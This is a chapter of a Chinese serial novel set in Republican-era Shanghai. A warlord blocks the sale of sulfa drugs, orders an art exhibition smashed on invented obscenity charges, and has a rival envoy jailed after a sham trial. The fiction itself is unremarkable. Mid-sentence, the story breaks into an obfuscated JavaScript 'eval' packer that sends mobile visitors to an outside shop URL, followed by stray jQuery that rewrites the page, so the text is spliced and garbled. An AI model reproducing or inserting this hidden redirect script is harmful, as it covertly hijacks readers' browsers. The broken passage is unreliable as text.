许薇薇把那封遗书看了三遍。
每一遍，都像在心上割一刀。
她把信纸折好，放回信封里，然后坐在周松龄办公室的沙发上，沉默了很久。
窗外的天灰蒙蒙的，法租界的钟楼在雾里若隐若现，钟声沉闷地敲了四下。
“周律师，那批磺胺——如果我想卖给北方军政府，需要办什么手续？”
周松龄愣了一下。
“许小姐，你确定？”
“我确定。”许薇薇抬起头，“北方的战场上，每天都有士兵因为没有药品而死去。这批药放在港口仓库里吃灰，不如拿去救人。”
“可是沈少帅那边——”
“我知道沈少帅不会同意。”许薇薇说，“但我不想因为政治，耽误了救人的时机。周律师，如果我先斩后奏，会有什么后果？”
周松龄沉默了一会儿：“许小姐，这批药现在被司令部封着，你动不了。除非沈少帅点头。”
“我会跟他说。请您先帮我准备手续。等遗产解封了，就办。”
周松龄犹豫了一下，点了点头。
“好。”
电话是第四天打的。
“陈副官，麻烦转告少帅，我想请他吃顿饭。感谢他这段时间的关照。”
陈铭在电话那头愣了一下，许薇薇竟然主动约沈毅行。
“许小姐，您稍等，我马上转告少帅。”
不到五分钟，陈铭就回了电话。
“许小姐，少帅说，今晚七点，红房子西餐厅。他请客。”
***
红房子西餐厅在法租界的一条僻静的街上，门口种着两棵法国梧桐，枝叶在晚风里沙沙作响。
许薇薇到的时候，沈毅行已经坐在里面了。
他今天没穿军装，换了一件深灰色的便装西装，领口敞着，没有系领带。下巴刮得干干净净，整个人看起来比平时年轻了几岁。
桌上放着一束白色的百合花，用淡绿色的缎带系着，插在一只细长的玻璃花瓶里。
许薇薇愣了一下。
“这是……”
沈毅行站起身，替她拉开椅子：“吃饭的地方太素了，我让他们加了一束花。”
他说得云淡风轻，许薇薇没有细究，在椅子上坐下来。
“我还从没见过少帅穿便装。”
“哦？”沈毅行低头看了看自己，“随便穿的。今天不是去司令部，不用像平时一样正经。”
服务生递上菜单。沈毅行接过，翻了翻，递给许薇薇。
“你来点。我不懂西餐。”
许薇薇接过菜单，点了几道菜——奶油蘑菇汤、黑椒牛排、焦糖布丁。
许大年每次都点同样的菜。
二十一年，没换过。
许薇薇自己可能都没意识到，她点的，和许大年一模一样。
菜还没上来，两个人面对面坐着，中间隔着那束百合花。花香淡淡的，在空气里慢慢散开。
“许小姐。”沈毅行先开口，“你找我，不只是为了吃饭吧？”
许薇薇笑了一下。
“少帅，我想跟你谈一件事。”
“说。”
“许氏仓库里的那批磺胺，我想卖给北方军政府。”
沈毅行脸上的笑容慢慢消失了。
“谁让你卖的？顾慎之？他逼迫你了？”
“不，是我自愿的。”许薇薇的声音很平静，“北方的战场上需要这批药。放在仓库里，过期了也是浪费。我在英国的时候，见过从战场上下来的伤兵。有人因为没有药，活活疼死。我想，还是应该拿去救人。”
“所以你是站在顾慎之那边的？”沈毅行的声音冷了下去，“他跟你什么关系？你为什么要帮他？”
“我没有帮谁，也没有站在谁那边。我只是觉得，药就该用在刀刃上。”
沈毅行冷笑了一声。
“刀刃上？顾慎之是跟大总统穿一条裤子的人。这批药到了他手里，就是给大总统的军队用的。你让老子用司令部的钱养码头、养仓库，最后给大总统做嫁衣？你这不是站队是什么？！”
“少帅，我是救人，不是站队。”
“在申城，就是站队的。”沈毅行恶狠狠地盯着她的眼睛，“许小姐，你太天真了。有些东西是不能分开论的。”
这时菜端上来。
奶油蘑菇汤冒着热气，黑椒牛排滋滋作响，焦糖布丁的表面用火枪烤出一层薄薄的焦糖，在灯光下闪着琥珀色的光。
两个人谁都没有动刀叉。
“少帅。”许薇薇拿起汤匙，又放下，“我知道你对顾专员有意见。但这件事，我希望你能公正处理。”
“公正？”沈毅行的声音猛地拔高了，随即又压了下去，“你要我公正？许小姐，你这是在干政——”
他忽然停住了。
许薇薇看着他，等着他说下去。
“南北——难道不是一个中国吗？我们的共同敌人，是外国列强啊……”
沈毅行张了张嘴，把话咽了回去。
“我可没有这个意思。”他端起酒杯，一口闷了半杯，“但这批药，就是不能卖。”
“为什么？”
“因为案子还没结。遗产还没解封。”沈毅行放下酒杯，“这是规矩。”
“少帅，按照法律，遗产继承人都同意了，就可以临时解封。规矩总不能比法律还大……”
“在老子的地盘上，规矩就是比法律大。”沈毅行的语气不容置疑，“我说不能卖，就不能卖。”
餐厅里安静了下来。
留声机里放着一首不知名的钢琴曲，音符像水滴一样，一颗一颗落在沉默的空气里。
许薇薇低下头，看着面前的牛排。油脂已经凝固了，在白色的盘子里凝成一层薄薄的膜。
灯光下，她的脸瓷白。睫毛垂下来，嘴角微微抿着，像在忍耐什么。
“我想要那批药去救人。难道，你不想？南北恩怨比生命还重要？”
“许小姐，你当我是三岁小孩吗，句句讲大道理来压我？顾慎之那点心思，我看得清清楚楚！他不仅想拿药，还想把你弄到手！你倒好，替他跑腿，替他讲话！是不是他勾搭你，你也要接受？！”
餐厅里其他几桌客人都转过头来看。
许薇薇的脸色白了一瞬，随即慢慢变红。
“如果你觉得我是因为私情来谈生意的，那今天这顿饭，就不用吃了。抱歉让少帅误会了！”
许薇薇抓起桌上的手包，转身就走。
“站住！”
沈毅行的声音从身后传来，带着恼怒。
许薇薇没有停。
她推开门走了出去，夜风迎面扑来，带着黄浦江的腥味和法国梧桐的苦涩。
沈毅行看着那扇门在眼前关上，攥紧了拳头。
“妈的。”
他低声骂了一句，把桌上的酒杯扫到了地上。
玻璃碎裂的声音在安静的餐厅里格外刺耳。
***
沈毅行回到司令部的时候，已经是半夜了。
他没有去百乐门，没有找莉莉，没有喝威士忌。
一个人坐在办公室里，在黑暗里抽烟。
许薇薇说——“我想要那批药去救人。”
她说得那么理直气壮，好像他沈毅行是那个挡在“救人”路上的坏人。
可她知不知道，顾慎之这个假仁假义的“文明人”，才是申城的全民公敌。
既然许薇薇这么想帮他，那就别怪他不客气了。
沈毅行把烟头摁灭在烟灰缸里，眼睛里闪过一丝阴狠。
第二天上午，陈铭被叫进了办公室。
“少帅，您找我？”
“顾慎之最近在干什么？”
陈铭愣了一下，翻开笔记本。
“顾专员这些天没什么动静。就是在酒店待着，偶尔去街上走走。不过他后天要去看一个画展。”
“画展？”沈毅行的眼睛眯了起来，“什么画展？”
“西洋画展。在法租界的工部局大楼。据说是几个美院的年轻画家办的，展一些油画人体、水彩风景什么的。都不是什么大人物。”
“不是什么大人物？”沈毅行的嘴角慢慢勾起一个冷笑，“顾慎之这么有闲心！”
“不是闲心，是捧场。属下查过，办画展的几个人里面，有一个叫林晚的，原先在北平的报社做过。顾慎之跟她好像认识。”
沈毅行站起身，走到窗前。
“油画人体。”他咀嚼着这几个字，“是不是不穿衣服的女人？”
陈铭愣了一下，没明白他的意思。
“少帅，这……属下不太懂艺术。大概……”
“不懂没关系。老子也不懂。”沈毅行转过身，“但你懂什么叫‘伤风败俗’吧？”
“少帅，您的意思是……”
“你去找几个老头老太太，让他们去工部局门口抗议，说画展有伤风化，教坏小孩。记者那边让老方安排，先造势。等舆论起来了，你带人去工部局大楼。把那个画展给我砸了。参加画展的学生，画家，挑几个没背景的抓起来！”
“砸、砸了？”陈铭以为自己听错了。
“砸了。把所有画都给我扯下来，就说有人举报画展宣传□□内容，伤风败俗，有碍观瞻。顾慎之要是敢拦，就说他同流合污，一起抓。老子倒要看看，谁来保他！”
“少帅，这……不太好吧？北平那边——”
“北平怎么了？”沈毅行横了他一眼，“在申城，老子的话就是规矩。”
陈铭咽了口唾沫。
“属下明白了。”
“还有。”沈毅行的声音更低了下去，“叫老方带上相机。上次□□的事，照片拍得不错。这次，让他继续拍。”
画展是在工部局大楼的三楼展厅举办的。
那天上午天气很好，阳光透过窗户照进来，把整个展厅照得亮堂堂的。
墙上挂满了油画和水彩画。有风景，有静物，有人体。
顾慎之正在跟旁边的人低声交谈。
楼下忽然传来一阵嘈杂。
有人在喊：“你们是什么人？谁让你们进来的？”
然后是桌椅倒地的声响，夹杂着女人的尖叫声。
顾慎之的笑容僵在脸上。
他快步走到楼梯口，往楼下看去。
一队全副武装的士兵正从一楼冲上来。走在最前面的是陈铭，面无表情，军靴踩在木地板上，发出沉闷的声响。
他身后跟着几个穿便装的，扛着相机——顾慎之认出了其中那个秃顶、戴黑框眼镜的，是《申城日报》的老方。
“你们要干什么？”顾慎之挡在楼梯口。
陈铭看了他一眼，没有停步。
“顾专员，有人举报这个画展宣传□□内容，伤风败俗。奉少帅命令，查封画展，带走相关责任人。”
“□□？陈副官，这是艺术。在欧洲，这样的画挂在卢浮宫里，几百年了。你跟我说□□？”
陈铭的脚步顿了一下。
“顾专员，我不懂艺术。少帅说它是□□，它就是□□。”
“少帅说？”顾慎之冷笑了一声，“沈少帅看过这些画吗？他懂什么是艺术？他连油画是什么都不知道！”
陈铭的脸色沉了下来。
“顾专员，请你让开。否则，以妨碍公务论处。”
顾慎之没有让。
“陈副官，这里是法租界。你无权在法租界查封任何展览。沈少帅的手，未免伸得太长了。”
陈铭沉默了一秒，忽然笑了。
“顾专员，你说的对。这里是法租界。”
他从口袋里掏出一张纸，在顾慎之面前展开。
“但法租界工部局已经接到了举报，说画展涉嫌宣传□□思想，毒害申城的儿童。工部局授权司令部‘协助调查’。顾专员，你要不要看看上面的公章？”
顾慎之盯着那张纸，瞳孔微微缩了一下。
他忽然明白了。
□□不过是随手捡来的罪名。主要是这个罪名足够大，可以让他被驱逐，甚至被关押。
“顾专员，我再问你一次——让不让？”
顾慎之抬起头，看着陈铭身后的士兵，看着那些黑洞洞的枪口，看着老方已经举起来的相机。
他让开了。
陈铭从他身边走过，士兵们涌进展厅。
墙上的画被一幅一幅扯下来。画框砸在地上，发出碎裂的声响，玻璃碴子四溅。油画布被军靴踩出一个个洞，那些人体、风景、静物，在靴底扭曲、撕裂。
有人哭了起来。
老方的相机咔嚓咔嚓地响，闪光灯把在场所有人照得眼睛发晕。
他不拍被砸的画，专拍那些蹲在地上哭泣的年轻画家——眼泪，碎玻璃，扭曲的画布。
他知道什么样的照片能上头版。
顾慎之站在楼梯口，无力地看着这一切。
陈铭把顾慎之带下楼的时候，楼下已经围了一圈人。
法租界的巡捕站在警戒线外面，像一排
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17629172|206302||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
冷漠的泥塑。
临上车前，顾慎之忽然停下来，转过头。
老方还在拍。镜头对准他，闪光灯亮了一下。
顾慎之没有躲。
他整了整被扯歪的衣领，扶正眼镜，然后——
笑了。甚至称得上温和。
“上车！”士兵推了他一把。
顾慎之没有反抗，弯腰钻进车厢。
车门关上的那一刻，他透过车窗，看了一眼外面的天。
申城的天总是灰蒙蒙的。不像北平。
车子启动，驶入霞飞路的车流。
他靠在座椅上，脑子里转着几件事——
磺胺的合同，还没签。
沈毅行这个人，比他想象的更疯。
顾慎之忽然想起临行前大总统说的话：“申城是沈家的地盘。去了，要小心。”
他以为自己够小心。
没想到，还是低估了。
***
司令部的看守所在东边，紧挨着军械库。一栋灰扑扑的三层小楼，窗户上焊着铁栅栏，院子里铺着碎石子，走在上面沙沙作响。
顾慎之被关在二楼，单间。
条件不算太差——一张木板床，一床薄被，一张小桌，一把椅子。
窗户开在高处，铁栅栏外面是天的一角。
每天下午三点钟左右，会有一线光照进来，落在床尾的被子上，停留不到一刻钟，然后消失。
第一天，没有人来提审。
第二天，也没有。
顾慎之坐在床上，把被子叠成方块，放在床头。又把桌上的茶缸摆正，跟小桌的边缘对齐。没事可做。
没有书，没有报纸，没有任何能写字的东西。
他开始在脑子里默写。
先是从《诗经》开始。“关关雎鸠，在河之洲。”然后是《论语》。“学而时习之，不亦说乎。”然后是《史记》。“项王军壁垓下，兵少食尽……”
一篇一篇地默，一字一字地校。背错了，从头再来。
第五天，有人来探视。
是周松龄。
周律师穿着深灰色的西装，拎着公文包，坐在探视间的铁桌子对面，把眼镜取下来擦了又擦。
“顾专员，瘦了。”
“周律师，磺胺的事——”
“还在封着。”周松龄打断他，“许小姐找过沈少帅了。”
顾慎之的身体微微前倾。
“谈得怎么样？”
周松龄沉默了几秒。
“不欢而散。有件事……许小姐让我转告你。”
“什么？”
“那批药，她会想办法。她更希望你被无罪释放。”
然而这次，顾慎之没有那么好运气，沈毅行没有释放他，而是给他判了刑。
没有公开开庭。没有陪审团。没有辩护律师。
地点在司令部的一间会议室里。长桌，白墙，窗户关得严严实实。
三个人坐在对面——一个穿军装的法官，两个军官模样的陪审。
顾慎之被带进去的时候，扫了一眼那三个人，没有说话。
“顾慎之，你可知罪？”
“不知。”
“你在沪期间，多次出入风月场所，与暗娼发生不正当关系。证据确凿，照片为证。你认不认？”
顾慎之看着桌上那张照片——酒店房间里，他和小金宝。照片拍得很有技巧，小金宝的脸表情扭曲惊恐，他的脸则清清楚楚。角度选得好，像是他主动搂上去的。
“不认。我是被陷害的。”
“被谁陷害？”
“陈副官。小金宝是他的人，所以他才能掐准时间冲进房里。”
对面的三个人交换了一个眼神。
“顾慎之，说话要有证据。”
“小金宝跟陈铭见过几次面，拿了多少钱，你们比我清楚。”
会议室里安静了几秒。
“还有一项罪，你在画展现场，宣传□□内容，有照片为证。”
“那是艺术。人体油画在欧洲各大美术馆都有展出。你们说□□，是你们没见识。”
穿军装的法官脸色沉了下来。
“顾慎之，这里是申城。不是欧洲。”
“我知道。”顾慎之的声音平静得像一潭死水，“在欧洲，你们这样的审判，叫‘袋鼠法庭’。”
“你说什么？”
“我说——”顾慎之抬起头，直视着法官的眼睛，“你们的审判，没有法律依据。你们不是在审案，你们是在整我，来巴结沈少帅。”
会议室里的空气骤然跌至冰点。
没有人说话。
最终，法官清了清嗓子，宣读了判决——
“顾慎之，犯妨害风化罪，传播□□物品罪，两罪并罚。判处有期徒刑一个月。罚金五千大洋。即日起执行。”
顾慎之站在那里，没有动。
“我不服。”
“你可以上诉。”
“上诉到哪里？司令部？”
没有人回答。
顾慎之被带走了。
***
审判之后，顾慎之以为会被转移到正式的监狱。
没有。还是那间单间。
每天三顿饭——早饭是稀粥和咸菜，午饭是一碗米饭和一碗青菜，晚饭是面条。分量不多，但饿不死。
他知道沈毅行关不了他多久——不是因为沈毅行不想，是因为有人会来捞他。
特派专员被抓，是大总统的耻辱。
果然。
第十五天，北平来了电报。
大总统亲自签发——调顾慎之回北平，另有任用。同时附了一份特赦令，免除剩余刑期。
沈毅行接到电报的时候，脸色铁青。
但他没有办法。大总统的特赦令，他不能不认。
顾慎之走出看守所大门的那天，是个阴天。
铅灰色的云层压得很低，空气里弥漫着黄浦江吹来的湿气。
顾慎之站在门口，看了一眼看守所的大门——灰扑扑的砖墙，铁门上锈迹斑斑，门楣上连个牌子都没有。关了他二十天的地方，连名字都不配拥有。
他苦笑了一下，从口袋里掏出眼镜，用衣角慢慢擦拭。
脑子里转着几件事——
磺胺还在封着。沈毅行还在那个位置上。
那批药，总有人能从沈毅行手里夺过来。但那个人，不是自己。
至少现在不是。
“申城的事，迟早要有个了断。”